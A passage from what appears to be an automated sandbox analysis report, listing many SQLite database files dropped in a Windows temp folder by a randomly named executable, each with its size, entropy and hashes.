SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TuyAS1SQ3b

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\U4KilFO5yX

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\U9Jjg0isxL

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UCcRFIREDo

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UCqIL95Y34

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Uc8NIDdYyu

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ud0MWm8myF

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UnmjMq5zZ8

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Uvzz61y7ox

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\V1E1Gy8R60

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VW1FD0Sez8

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Vsm3H3M6SZ

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VyMI7Gycg2

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\W0mwcyohHq

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\W5382qC5H2

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WEOAVVpwQT

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WO1EZaVcPv

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\X5HeN8TIJ8

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XPczw8NIzs

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XTGYFZ8b87

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Xd3z8b9Imt

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Xkf6GPael4

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XznqT9q6mw

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YNPFwgikfN

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YOYYQgkmNP

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Yi0eBqEScn

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
